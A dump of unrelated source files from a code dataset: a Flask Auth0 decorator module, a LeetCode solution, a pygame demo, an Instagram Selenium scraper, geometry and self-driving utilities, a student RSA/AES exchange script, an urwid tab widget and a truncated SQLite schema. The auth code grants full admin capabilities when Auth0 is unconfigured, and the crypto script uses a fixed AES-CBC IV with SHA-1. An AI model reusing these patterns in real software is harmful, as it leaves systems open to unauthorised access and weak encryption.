{'exception': str(e)}}]}\n return data, flask_api.status.HTTP_401_UNAUTHORIZED\n\n\ndef enabled():\n return AUTH0_CLIENT_ID and AUTH0_SECRET_ID\n\n\ndef requires_admin(function):\n @functools.wraps(function)\n def decorated(*args, **kwargs):\n payload = _request_ctx_stack.top.current_user\n if not payload:\n data = {'errors': [{\n 'title': 'authorization error',\n 'detail': 'user is not logged in'}]}\n return data, flask_api.status.HTTP_401_UNAUTHORIZED\n\n if payload['cap'] < 4:\n data = {'errors': [{\n 'title': 'access denied',\n 'detail': 'user is not an admin'}]}\n return data, flask_api.status.HTTP_403_FORBIDDEN\n\n return function(*args, **kwargs)\n\n return decorated\n\n\ndef requires_auth(function):\n # pylint: disable=too-many-return-statements\n @functools.wraps(function)\n def decorated(*args, **kwargs):\n if not enabled():\n _request_ctx_stack.top.current_user = {\n 'aud': AUTH0_CLIENT_ID,\n 'exp': 4102444800, # 2100-01-01\n 'iat': 946684800, # 2000-01-01\n 'iss': 'https://calligre.auth0.com/',\n 'sub': '1', # user ID\n 'cap': 7,\n }\n return function(*args, **kwargs)\n\n auth = flask.request.headers.get('Authorization', None)\n if not auth:\n data = {'errors': [{\n 'title': 'authorization error',\n 'detail': 'missing authorization header'}]}\n return data, flask_api.status.HTTP_401_UNAUTHORIZED\n\n parts = auth.split()\n if len(parts) != 2:\n data = {'errors': [{\n 'title': 'authorization error',\n 'detail': 'authorization header is malformed'}]}\n return data, flask_api.status.HTTP_401_UNAUTHORIZED\n\n bearer, token = parts\n if bearer.lower() != 'bearer':\n data = {'errors': [{\n 'title': 'authorization error',\n 'detail': 'authorization header must start with Bearer'}]}\n return data, flask_api.status.HTTP_401_UNAUTHORIZED\n\n payload, status = decode(token)\n if not flask_api.status.is_success(status):\n return payload, status\n\n body, status = get('user',\n \"\"\" SELECT id, capabilities\n FROM account\n WHERE id = %(sub)s\n \"\"\", payload)\n if flask_api.status.is_success(status):\n payload['cap'] = int(body['data']['attributes']['capabilities'])\n else:\n log.warning('Attempted admin access from \"%s\"', payload['sub'])\n payload['cap'] = 0\n\n _request_ctx_stack.top.current_user = payload\n return function(*args, **kwargs)\n\n return decorated\n","repo_name":"Calligre/server","sub_path":"api/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":4361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72900523742","text":"\"\"\"\nhttps://leetcode.com/problems/first-bad-version/\n\"\"\"\n\n\nclass Solution:\n def firstBadVersion(self, n: int) -> int:\n \"\"\"\n Use binary search to reduce the times of calling of isBadVersion api.\n \"\"\"\n def isBadVersion(t: int) -> bool:\n return t >= 1702766719\n\n l, r = 1, n + 1\n while l < r:\n m = l + ((r - l) >> 1) # = (l + r) // 2, prevent overflow.\n if isBadVersion(m):\n r = m\n else:\n l = m + 1\n\n return l\n\n\nprint(Solution().firstBadVersion(2126753390))\n","repo_name":"eronekogin/leetcode","sub_path":"2020/first_bad_version.py","file_name":"first_bad_version.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74936999902","text":"# pygame demo 4(b) - one image, bounce around the window using rects with sound\n# Note: this excercise has a little bug; I get the following error message: pygame.error: Failed loading libmpg123-0.dll:\n# Import packages \n\nimport pygame\nfrom pygame.locals import *\nimport sys\nimport random\nfrom pygame import mixer\n\n\nBLACK = (0,0,0)\nWINDOW_WIDTH = 640\nWINDOW_HEIGHT = 400\nFRAMERS_PER_SECOND = 30\nBALL_WIDTH_HEIGHT = 100\nN_PIXELS_PER_FRAME = 3\n\n\n# Initialize the world\npygame.init()\nwindow = pygame.display.set_mode((WINDOW_WIDTH, WINDOW_HEIGHT))\nclock = pygame.time.Clock()\n\n# Load the assets: image(s), sound(s), etc.\nmixer.init()\nball_Image = pygame.image.load('images/ball.png')\nbounce_sound = pygame.mixer.Sound('sounds/boing.wav')\n# supports only mp3 files\n# mixer.music.load('sounds/boing.wav')\n# mixer.music.play(-1, 0.0)\n\n\n\n# Initialize the variables\nball_rect = ball_Image.get_rect()\nMAX_WIDTH = WINDOW_HEIGHT - BALL_WIDTH_HEIGHT\nMAX_HEIGHT = WINDOW_WIDTH - BALL_WIDTH_HEIGHT\nball_rect.left = random.randrange(MAX_WIDTH)\nball_rect.top = random.randrange(MAX_HEIGHT)\nx_Speed = N_PIXELS_PER_FRAME\ny_Speed = N_PIXELS_PER_FRAME\n\n# Loop forever\nwhile True:\n # Check for and handle events:\n for event in pygame.event.get():\n # Clicked the close button? Quit pygame and end program\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n\n # Do any \"per frame\" actions\n if (ball_rect.left < 0) or (ball_rect.right >= MAX_WIDTH):\n x_Speed = -x_Speed # reverse X direction\n bounce_sound.play()\n\n if (ball_rect.top < 0) or (ball_rect.bottom >= MAX_HEIGHT):\n y_Speed = -y_Speed # reverse Y direction\n bounce_sound.play()\n\n # Update the balls rectangle, using the speed in two directions\n ball_rect.left = ball_rect.left + x_Speed\n ball_rect.top = ball_rect.top + y_Speed\n \n\n # Clear the window before drawing it again\n window.fill(BLACK)\n\n # Draw the window elements\n window.blit(ball_Image, ball_rect)\n\n \n # Update the window\n pygame.display.update()\n\n\n # Slow thing down a bit\n clock.tick(FRAMERS_PER_SECOND)\n\n\n ","repo_name":"AriefBadal23/Object-Oriented-Python-excercises","sub_path":"Chapter_5/PygameDemo4_OneBallBounce/PygameOneBallBouceWithSound.py","file_name":"PygameOneBallBouceWithSound.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"25931069205","text":"import json\nimport os\nimport time\nimport urllib.request\nfrom datetime import datetime\n\nfrom bs4 import BeautifulSoup\nfrom django.conf import settings\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom webdriver_manager.chrome import ChromeDriverManager\n\nfrom apps.instagram.models import InstagramPost, InstagramScrape\n\n\n#\n#\ndef extract_plain_text(html_string):\n \"\"\"Extracts plain text from html string. Removes all html tags. Used for extracting post text.\"\"\"\n soup = BeautifulSoup(html_string, \"html.parser\")\n plain_text = soup.get_text()\n return plain_text.strip()\n\n\n#\ndef extract_json_data(driver, json_xpath):\n \"\"\"Extracts the JSON data from the given XPath.\"\"\"\n json_element = driver.find_element(By.XPATH, json_xpath)\n json_text = json_element.get_attribute(\"text\")\n json_data = json.loads(json_text)\n return json_data\n\n\ndef extract_likes_count(json_data):\n \"\"\"Extracts the likes count from the JSON data.\"\"\"\n interaction_statistics = json_data.get(\"interactionStatistic\", [])\n for stat in interaction_statistics:\n if stat.get(\"@type\") == \"InteractionCounter\" and stat.get(\"interactionType\") == \"http://schema.org/LikeAction\":\n likes_count = stat.get(\"userInteractionCount\", 0)\n return likes_count\n return 0\n\n\ndef extract_post_text(json_data):\n description = json_data.get(\"articleBody\", \"\")\n return extract_plain_text(description)\n\n\ndef extract_published_date(json_data):\n date_published = json_data.get(\"dateCreated\", \"\")\n date = datetime.strptime(date_published, \"%Y-%m-%dT%H:%M:%S%z\")\n\n return date.date()\n\n\ndef web_scraping():\n \"\"\"Scrapes instagram posts from a given account. Saves posts to database, if they exist in database, it updates\n the function gets the posts likes, text, image, link and created day.\"\"\"\n options = webdriver.ChromeOptions()\n options.add_argument(\"--disable-notifications\")\n options.add_argument(\"--disable-popup-blocking\")\n options.add_argument(\"--disable-extensions\")\n options.add_argument(\"--disable-gpu\")\n options.add_argument(\"--disable-infobars\")\n options.add_argument(\"--window-size=1200,900\")\n options.add_argument(\"--headless\")\n\n driver = webdriver.Chrome(ChromeDriverManager().install(), options=options)\n driver.get(\"https://www.instagram.com/accounts/login/\")\n time.sleep(5)\n\n scrape_info = InstagramScrape.get_solo()\n\n if scrape_info is not None:\n username = driver.find_element(By.XPATH, \"//input[@name='username']\")\n username.clear()\n username.send_keys(scrape_info.username)\n\n password = driver.find_element(By.XPATH, \"//input[@name='password']\")\n password.clear()\n password.send_keys(scrape_info.password)\n\n login_button = driver.find_element(By.XPATH, \"//button[@type='submit']\")\n login_button.click()\n\n time.sleep(5)\n\n try:\n not_now_button = WebDriverWait(driver, 5).until(\n EC.element_to_be_clickable((By.XPATH, \"//button[contains(text(), 'Not Now')]\"))\n )\n not_now_button.click()\n except Exception as e:\n pass\n\n try:\n not_now_button = WebDriverWait(driver, 5).until(\n EC.element_to_be_clickable((By.XPATH, \"//button[contains(text(), 'Not Now')]\"))\n )\n not_now_button.click()\n except Exception as e:\n pass\n\n driver.get(f\"https://www.instagram.com/{scrape_info.target_username}/\")\n time.sleep(5)\n\n n_scrolls = 1\n for _ in range(n_scrolls):\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n time.sleep(5)\n\n anchors = driver.find_elements(By.TAG_NAME, \"a\")\n anchors = [a.get_attribute(\"href\") for a in anchors]\n print(f\"\\n\\n\\n{len(anchors)}\\n\\n\\n\")\n\n parent_dir = os.path.join(settings.MEDIA_ROOT, \"instagram\")\n if not os.path.exists(parent_dir):\n os.makedirs(parent_dir)\n\n for i, a in enumerate(anchors):\n print(f\"\\n\\n\\n{i} {a}\\n\")\n if str(a).startswith(\"https://www.instagram.com/p/\"):\n time.sleep(1)\n # print(a)\n post_url = a.split(\"/p/\")[-1].split(\"/\")[0]\n print(post_url)\n img_url = f\"https://www.instagram.com/p/{post_url}/media/?size=l\"\n urllib.request.urlretrieve(img_url, os.path.join(parent_dir, f\"{post_url}.jpg\"))\n\n url = f\"https://www.instagram.com/p/{post_url}/liked_by/\"\n driver.get(url)\n time.sleep(5)\n\n json_xpath = \"//script[contains(text(), 'userInteractionCount')]\"\n json_data = extract_json_data(driver, json_xpath)\n\n try:\n post_text = extract_post_text(json_data)\n except Exception as e:\n print(f\"Error extracting post text: {e}\")\n try:\n driver.get(a)\n time.sleep(5)\n post_text_element = driver.find_element(\n By.XPATH,\n \"/html/body/div[2]/div/div/div[2]/div/div/div/div[1]/div[1]/div[2]/section/main/div/div[1]/div/div[2]/div/div[2]/div/div/ul/div/li/div/div/div[2]/div[1]/h1\",\n )\n post_text_html = post_text_element.get_attribute(\"innerHTML\")\n post_text = extract_plain_text(post_text_html)\n except Exception as e:\n print(f\"Error extracting post text: {e}\")\n post_text = \"\"\n try:\n likes_count = extract_likes_count(json_data)\n except Exception as e:\n print(f\"Error extracting likes count: {e}\")\n try:\n driver.get(url)\n time.sleep(5)\n likes = driver.find_elements(By.XPATH, '//button[@class=\"_acan _acap _acas _aj1-\"]')\n likes_count = len(likes)\n except Exception as e:\n print(f\"Error extracting likes count: {e}\")\n likes_count = 0\n\n try:\n published_date = extract_published_date(json_data)\n except Exception as e:\n print(f\"Error extracting published date: {e}\")\n try:\n driver.get(a)\n time.sleep(5)\n date_element = driver.find_element(\n By.XPATH,\n \"/html/body/div[2]/div/div/div[2]/div/div/div/div[1]/div[1]/div[2]/section/main/div/div[1]/div/div[2]/div/div[3]/div[2]/div/a/span/time\",\n )\n date_string = date_element.get_attribute(\"datetime\")\n published_date_format = datetime.strptime(date_string, \"%Y-%m-%dT%H:%M:%S.%fZ\")\n published_date = published_date_format.strftime(\"%Y-%m-%d\")\n except Exception as e:\n print(f\"Error extracting date posted: {e}\")\n published_date = datetime.now().strftime(\"%Y-%m-%d\")\n driver.back()\n obj, _ = InstagramPost.objects.get_or_create(\n link=a,\n image=f\"instagram/{post_url}.jpg\",\n text=post_text,\n likes=likes_count,\n created_day=published_date,\n )\n\n driver.quit()\n","repo_name":"tim646/instagram-scrape","sub_path":"apps/instagram/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":7778,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"19547249919","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n'''\nCollected functions from 2018--2023 \nconcerning analyses of 2D data.\n\nThese routines work on 2D (x,y) points encoded as \ncomplex z=x+iy numbers.\n'''\nfrom __future__ import absolute_import\nfrom __future__ import with_statement\nfrom __future__ import division\nfrom __future__ import nested_scopes\nfrom __future__ import generators\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\n\nimport neurotools.util.tools as ntools\nimport neurotools.signal as sig\nfrom scipy.spatial import ConvexHull\nimport neurotools.spatial.masking\n\nimport numpy as np\n\ndef p2z(px,py=None):\n '''\n Ensure that a numpy array contains (x,y) points \n encoded as z = x+iy,\n or convert two arrays (x,y) int z = x+iy format.\n \n Parameters\n ----------\n px: np.array\n x coordinate or points, or, if py is None\n - complex z=x + iy array (in which case this \n function is a noop)\n - array with on dimension length 2 \n containing (px,py)\n \n Other Parameters\n ----------------\n py: np.array\n y coordinate of points\n \n Returns\n -------\n np.complex64\n '''\n px = np.array(px)\n # Do nothing if already in the right format\n if np.any(np.iscomplex(px)):\n if not py is None:\n raise ValueError(\n 'px is already complex but py is specified')\n return px\n # Interpret px as 2D points if py missing\n px = np.float32(px)\n if py is None:\n # Try to interpret px as points\n s = px.shape\n if len(s)<=1:\n raise ValueError(\n 'px doesn\\'t seem to contain 2d points')\n if np.sum(np.int32(s)==2)>1:\n raise ValueError(('more than one axis of '\n 'px.shape=%s is length 2; (x,y) axis is '\n 'ambiguous')%(s,))\n xyaxis = np.where(np.int32(s)==2)[0][0]\n ndims = len(np.shape(px))\n slices = [slice(None,None,None) for i in range(ndims)]\n slices[xyaxis] = slice(0,1,1)\n x = px[tuple(slices)]\n slices[xyaxis] = slice(1,2,1)\n y = px[tuple(slices)]\n return x + 1j*y\n # combine as z = px + i py\n py = np.array(py)\n if not py.shape==px.shape:\n raise ValueError(\n 'px and py must have the same shape')\n if np.any(np.iscomplex(py)):\n raise ValueError(\n 'Argument py already contains z = x + iy points')\n return np.real(px) + 1j*np.real(py)\n\n# Operator abuse;\n@ntools.piper\ndef z2p(pz):\n '''\n Convert complex points to 2D (x,y) points\n \n Parameters\n ----------\n ps: np.complex64\n \n Returns\n -------\n :np.float32\n '''\n pz = np.array(pz)\n if not np.any(np.iscomplex(pz)):\n raise ValueError(\n 'pz does not seem to contain complex x+iy points')\n return np.float32([pz.real,pz.imag])\n\n\ndef polar_smooth_contour(z,sigma=2):\n '''\n Smooth the radial and angular components of a closed, \n circular, non-self-intersecting contour `z` in the \n complex plane. \n \n To avoid coodinate singularity, `z` should not \n intersect its own centroid.\n \n Smoothing is accomplished in terms of adjacent samples, \n and the kernel standard deviation has units of samples. \n See `resample_convex_hull` to convert a convex shape \n with irregular angular sampling to one with regular\n angular sampling for better results.\n \n Parameters\n ----------\n px: 1D complex64 z=x+iy points\n sigma: positive float\n '''\n z = p2z(z)\n c = np.mean(z)\n z = z - c\n theta = np.angle(z)\n ct = sig.circular_gaussian_smooth(np.cos(theta),sigma)\n st = sig.circular_gaussian_smooth(np.sin(theta),sigma)\n h = np.angle((ct+1j*st))\n r = sig.circular_gaussian_smooth(np.abs(z)**2,sigma)**0.5\n return r*np.exp(1j*h) + c\n\n\n\ndef convex_hull(px,py=None):\n '''\n A wrapper for scipy.spatial.ConvexHull that returns \n points as z=x+iy.\n \n Parameters\n ----------\n px:\n py:\n \n Returns\n -------\n '''\n z = p2z(px,py)\n points = z2p(z).T\n hull = ConvexHull(points)\n verts = np.concatenate(\n [hull.vertices,hull.vertices[:1]])\n return points[verts]@[1,1j]\n\n\ndef convex_hull_from_mask(\n x,\n Ntheta=None,\n sigma=None,\n close=True):\n '''\n Extract convex hull containing all pixels in a 2D \n boolean array that are `True`. The array `x` is \n interpreted as a (rows,cols) matrix where row number \n is the `y` coordinate and col number is the `x` \n coordinate. \n \n Parameters\n ----------\n x: 2D np.bool\n \n Other Parameters\n ----------------\n Ntheta: positive int\n If not None, the resulting hull will be resampled \n at `Ntheta` uniform angular intervals around the \n centroid.\n sigma: positive float\n If not None, resulting hull will be smoothed in\n polar coordinates\n by a circular Gaussian kernel with standard \n deviation `sigma` (in DEGRESS).\n close: boolean; default True\n Whenter to repeat the first point in the convext\n hull at the end so that it can be plotted directly\n as a closed contour. \n \n Returns\n -------\n z: np.complex64\n '''\n q = convex_hull(neurotools.spatial.masking.mask_to_points(x))\n if not Ntheta is None:\n q = resample_convex_hull(q,Ntheta)\n if not sigma is None:\n sigma = float(sigma)\n if sigma<=0 or sigma>360:\n raise ValueError(('Angular smoothing σ=%f '\n 'should be between 0 and 360 degrees')%sigma)\n if Ntheta<30:\n raise ValueError(\n ('Angular smoothing σ=%f degrees specified, '\n 'but Ntheta=%d is too few to provide suitable'\n ' resolution'\n )%(sigma,Ntheta))\n q = polar_smooth_contour(q,sigma/360.0*Ntheta)\n if close:\n q = np.concatenate([q,[q[0]]])\n return q\n\n\ndef resample_convex_hull(z,Ntheta=60):\n '''\n Resample a convex shape at uniform angular intervals \n around its centroid\n \n Parameters\n ----------\n z:\n \n Other Parameters\n ----------------\n Ntheta: positive int; default 60\n \n Returns\n -------\n '''\n if Ntheta<4:\n raise ValueError(\n '# angles to sample should be >4; got %d'%Ntheta)\n \n z = convex_hull(z)\n c = np.mean(z)\n w = z-c \n r = np.abs(w)\n h = np.angle(w)\n order = np.argsort(h)\n z,w,r,h = z[order],w[order],r[order],h[order]\n \n angles = np.linspace(-np.pi,np.pi,Ntheta+1)[:-1]\n rpad = np.concatenate([[r[-1]],r,[r[0]]])\n hpad = np.concatenate([[h[-1]-2*np.pi],h,[h[0]+2*np.pi]])\n r1 = np.interp(angles,hpad,rpad)\n \n return c + r1*np.exp(1j*angles)\n \n \ndef in_hull(z,hull): \n '''\n Determine if the list of points P lies inside a convex \n hull\n \n credit: https://stackoverflow.com/a/52405173/900749\n \n Parameters\n ----------\n z: z=x+iy points to test\n hull: ConvexHull, or points to form one with\n \n Returns\n -------\n in_hull: np.boolean\n '''\n z = p2z(z)\n s = z.shape\n z = z.ravel()\n if not isinstance(hull,ConvexHull):\n if np.any(np.iscomplex(hull)):\n hull = z2p(hull)\n if hull.shape[0]!=2:\n hull=hull.T\n hull = ConvexHull(hull.T)\n m = hull.equations[:,[1,0]] # half-plane directions\n b = hull.equations[:,-1].T # half-plane thresholds\n return np.all(m@z2p(z) <= -b[:,None],0).reshape(*s)\n\n\n","repo_name":"michaelerule/neurotools","sub_path":"spatial/geometry.py","file_name":"geometry.py","file_ext":"py","file_size_in_byte":7510,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"7"} +{"seq_id":"40725041566","text":"import os\nimport csv\nimport numpy as np\nimport matplotlib.image as img\nimport matplotlib.pyplot as plt\n\nfrom cv2 import resize, INTER_AREA\nfrom tqdm import tqdm\n\ndef parse_data(data_dir, track, x, y, training=False):\n \"\"\" Parse the data from CSV\n \"\"\"\n data_dir = data_dir = os.path.join(os.getcwd(), data_dir, 'track1' if track == 1 else 'track2')\n \n image = img.imread(os.path.join(os.getcwd(), data_dir, x))\n image = preprocess(image)\n #image = np.array(image).astype(np.float32)\n\n steer = float(y)\n\n # Add some offset to steer values for left and right images\n if 'left' in x:\n steer += 0.2\n elif 'right' in x:\n steer -= 0.2\n\n # Random flip of training sample\n if training is True:\n image, steer = random_flip(image, steer)\n\n return image, steer\n\ndef random_flip(x, y):\n \"\"\" Randomly flip the original data with 50% probability\n \"\"\"\n if(np.random.randint(2) == 1):\n # Flip the image (horizontal)\n x = np.transpose(x, [1, 2, 0])\n x = np.fliplr(x)\n x = np.transpose(x, [2, 0, 1])\n\n # Flip the sign of steer value\n y = -y\n\n return x, y\n\ndef preprocess(image):\n \"\"\" Prepocessing the raw image before feeding to model\n \"\"\"\n # Crop ROI\n image = image[35:135, :, :]\n\n # Shrink/resize image\n image = resize(image, (200, 64), interpolation = INTER_AREA)\n\n # Subtract the mean and divide by the standard deviation of the pixels\n mean = np.mean(image)\n std = np.std(image)\n image = (image - mean)/std\n\n # Convert from [height, width, depth] to [depth, height, width]\n image = np.transpose(image, [2, 0, 1])\n\n return image\n\ndef load_data(data_dir, track):\n \"\"\" Load the dataset\n \"\"\"\n data_dir = os.path.join(os.getcwd(), data_dir, 'track1' if track == 1 else 'track2')\n\n # Read the CSV file -> ['center', 'left', 'right', 'steer', 'throttle', 'reverse', 'speed']\n with open(os.path.join(data_dir, 'driving_log.csv'), 'r') as f:\n reader = csv.reader(f)\n data = list(reader)\n\n images = []\n steers = []\n\n # Extract images and steer values\n for i in range(len(data)):\n for j in range(3):\n images.append(data[i][j])\n steers.append(data[i][3])\n\n assert(len(images) == len(steers))\n #print(\"Total samples = \", len(images))\n\n return images, steers\n\ndef train_test_split(x, y, train_ratio=0.8):\n \"\"\" Split the original dataset into a training and testing dataset.\n \"\"\"\n split_index = int(len(x)*train_ratio)\n\n return x[:split_index], y[:split_index], x[split_index:], y[split_index:]\n\nif __name__ == '__main__':\n print('Debugging utils.py')\n\n x, y = load_data('../data', track=1)\n print('x = ', len(x))\n print('y = ', len(y))\n","repo_name":"abhijaypandit/udacity-self-driving","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24381712687","text":"# Code representing Bob in the secure text transfer.\n# Sends public key to Alice and waits for a message.\n# Once received, it will verify and decrypt the message to display\n#\n# By Jason Crandall u0726408\n\nimport os\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.asymmetric import utils\nfrom cryptography.hazmat.primitives.asymmetric import padding\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.primitives import padding as p\nfrom socket import *\nimport json\n\ndelim = bytearray(b'++++++++++')\nHOST = 'localhost'\nPORT = 3344\n\ndef main():\n # Start server code to listen for Alice\n with socket(AF_INET, SOCK_STREAM) as s:\n s.bind((HOST, PORT))\n s.listen(2)\n # Listen for incoming messages\n while True:\n connection, addr = s.accept()\n with connection:\n data = connection.recv(1024)\n command = ''\n try:\n jsonData = json.loads(data.decode())\n command = jsonData[\"command\"]\n except:\n command = data\n if(command == \"requestKey\"):\n key_msg = getKeyInfo()\n print(\"Sending key to Alice\")\n connection.send(key_msg)\n else:\n msg = decryptMsg(command)\n print(\"Received message from Alice:\",msg.decode())\n exit()\n\n\n\n\ndef getKeyInfo():\n # Read bob's public key from key file\n bPublicKey = load_public_key('keys/bobPublic.pem')\n bPublicKey_bytes = bytearray(bPublicKey.public_bytes(encoding=serialization.Encoding.PEM,\n format=serialization.PublicFormat.SubjectPublicKeyInfo))\n raw_b_public_key = bytes(bPublicKey_bytes)\n\n # Sign the key with c private key (from key file)\n cPrivateKey = load_private_key('keys/cPrivate.pem')\n b_sig = bytearray(cPrivateKey.sign(raw_b_public_key, padding.PSS(mgf=padding.MGF1(\n algorithm=hashes.SHA1()), salt_length=padding.PSS.MAX_LENGTH), hashes.SHA1()))\n\n # Concatonate signature with key and return\n bob_msg_arr = b_sig+delim+bPublicKey_bytes\n bob_msg = bytes(bob_msg_arr)\n return bob_msg\n\n\n\ndef decryptMsg(raw_full_a_msg):\n # Break up received message into the separate encryptions\n split_a_msg = raw_full_a_msg.split(b'++++++++++')\n first_e = split_a_msg[0]\n second_e = split_a_msg[1]\n\n # Decrypt AES key with Bob's private key\n bPrivateKey = load_private_key('keys/bobPrivate.pem')\n aes_key = bPrivateKey.decrypt(second_e,padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA1()),algorithm=hashes.SHA1(),label=None))\n\n # Decrypt A with AES key (split into msg, KA-(H(m)))\n biv = b'a' * 16\n decipher = Cipher(algorithms.AES(aes_key), modes.CBC(biv), default_backend())\n decryptor = decipher.decryptor()\n unencrypted_packet = decryptor.update(first_e)\n unpadder = p.PKCS7(128).unpadder()\n unpadded_packet = unpadder.update(unencrypted_packet) + unpadder.finalize()\n\n # Bob gets Alice public key from file\n aPublicKey = load_public_key('keys/alicePublic.pem')\n\n # Decrypts second part of delimeted data with Alice public key\n split_hash = unpadded_packet.split(b'++++++++++')\n a_hash = split_hash[0]\n msg = split_hash[1]\n\n # Verify the message with Alice Public key and print if verification is successful\n try:\n print(\"Verifying Alice's Signature\")\n recv_msg = aPublicKey.verify(a_hash,msg,padding.PSS(mgf=padding.MGF1(algorithm=hashes.SHA1()),salt_length=padding.PSS.MAX_LENGTH), hashes.SHA1())\n except:\n print(\"Unable to verify Alice's message\")\n exit()\n \n return msg\n\n# Helper method that serializes a stored public key\ndef load_public_key(filename):\n with open(filename, \"rb\") as pem_in:\n pemlines = pem_in.read()\n public_key = serialization.load_pem_public_key(pemlines, default_backend())\n return public_key\n\n# Helper method that serializes a stored private key\ndef load_private_key(filename):\n with open(filename, \"rb\") as pem_in:\n pemlines = pem_in.read()\n private_key = serialization.load_pem_private_key(\n pemlines, None, default_backend())\n return private_key\n\nif __name__ == \"__main__\":\n main()","repo_name":"JasonDCrandall/CS4480","sub_path":"PA_3/Bob.py","file_name":"Bob.py","file_ext":"py","file_size_in_byte":4546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74675743263","text":"import urwid\n\nfrom console.app import app\nfrom console.modes import modemap\n\n\nclass Tab(urwid.AttrMap):\n \"\"\"\n Baseclass for tabs in a TabGroup.\n \"\"\"\n\n label = \"???\"\n mode = {}\n content = None\n\n def __init__(self):\n modemap.register_mode(self.label, self.mode)\n text_widget = urwid.Text(self.label, align='center')\n urwid.AttrMap.__init__(self, text_widget, None)\n self.content = self.get_content()\n\n def on_focus(self):\n modemap.mode = self.label\n self.set_attr_map({None: 'reversed'})\n\n def on_blur(self):\n self.set_attr_map({None: None})\n\n def get_content(self):\n return urwid.SolidFill(\"/\")\n\n\nclass TabGroup(urwid.Columns):\n def __init__(self, tabs):\n for tab in tabs:\n if not isinstance(tab, Tab):\n raise TypeError('All tabs must be Tab instances')\n super(TabGroup, self).__init__(tabs)\n self.focus.on_focus()\n\n @property\n def active_tab(self):\n return self.focus.content\n\n def next_tab(self):\n old_focus = self.focus\n self.focus_position = (self.focus_position + 1) % len(self.contents)\n if self.focus != old_focus:\n self.focus.on_focus()\n old_focus.on_blur()\n return self.active_tab\n\n def prev_tab(self):\n old_focus = self.focus\n self.focus_position = (self.focus_position - 1) % len(self.contents)\n if self.focus != old_focus:\n self.focus.on_focus()\n old_focus.on_blur()\n return self.active_tab\n\n\nclass TabFrame(urwid.Frame):\n def __init__(self, tabs):\n self._tabs = TabGroup(tabs)\n self._header = self.make_header(self._tabs)\n self._help_dialog = None\n urwid.Frame.__init__(self, urwid.LineBox(self.active_tab), self._header)\n\n def make_header(self, tabs):\n return tabs\n\n @property\n def active_tab(self):\n return self._tabs.active_tab\n\n def next_tab(self):\n self.body = urwid.LineBox(self._tabs.next_tab())\n\n def prev_tab(self):\n self.body = urwid.LineBox(self._tabs.prev_tab())\n\n def handle_event(self, event):\n if event == 'quit':\n app.client.close()\n raise urwid.ExitMainLoop\n elif event == 'next-tab':\n self.next_tab()\n elif event == 'prev-tab':\n self.prev_tab()\n elif event == 'help':\n help_dialog = self.active_tab.get_help_dialog()\n self.active_tab.show_dialog(help_dialog)\n else:\n return event\n\n def keypress(self, size, key):\n event = modemap.event_for(key)\n if self.handle_event(event):\n return self.active_tab.keypress(size, event)\n return super(TabFrame, self).keypress(size, key)\n","repo_name":"dustinlacewell/console","sub_path":"console/widgets/tabs.py","file_name":"tabs.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"7"} +{"seq_id":"74133010144","text":"\n\nimport random\nimport time\nimport datetime\nimport logging\nfrom pathlib import Path\nfrom collections import defaultdict\n\nimport sqlite3_operations\n\n'''\nhttps://www.sqlitetutorial.net/sqlite-python/creating-database/\n\nSQLiteDatabaseBrowserPortable.exe to browse.\n'''\n\nPLAYER_STATUSES = [\"TEST\", \"UP_TO_DATE\", \"TO_BE_SCRAPED\", \"TEST2\", \"BUSY_SCRAPING\"] \n\nGAME_SCRAPE_STATUSES = [\"BUSY_SCRAPING\", \"TO_BE_SCRAPED\", \"SCRAPED\", \"\"]\nOPERATION_STATUSES = [\"TODO\", \"BUSY\", \"DONE\"]\n\nDATABASE_PATH = r\"C:\\Data\\Generated_program_data\\boardgamearena_quoridor_scraper\"\n\nDATATYPE_TO_SQL_DATATYPE= {\n int:\"INTEGER\",\n str:\"TEXT\",\n}\n\ngame_metadata_by_player_columns = {\n\n \"table_with_player_id\":str,\n \"table_id\":int,\n \"download_status\":str,\n \"player_1_id\":int,\n \"player_2_id\":int,\n \"player_1_name\":str,\n \"player_2_name\":str,\n \"time_start\":int,\n \"time_end\":int,\n \"concede\":int,\n \"unranked\":int,\n \"normalend\":int,\n \"player_1_score\":int,\n \"player_1_rank\":int,\n \"player_2_score\":int,\n \"player_2_rank\":int,\n \"elo_after\":int,\n \"elo_win\":int,\n \"player_id_scraped_player\":int,\n \"players_count\":int,\n}\n\ngames_table_columns = {\n \"table_id\":int,\n \n \"player_1_id\":int,\n \"player_2_id\":int,\n \"player_1_name\":str,\n \"player_2_name\":str,\n \"moves_bga_notation\":str,\n \"moves_lode_notation\":str,\n \"thinking_times\":str,\n \"thinking_times\":str,\n \"total_time\":str,\n \"game_quality\":str,\n \"time_start\":int,\n \"time_end\":int,\n \"concede\":int,\n \"unranked\":int,\n \"normalend\":int,\n \"player_1_score\":int,\n \"player_2_score\":int,\n \"player_1_rank\":int,\n 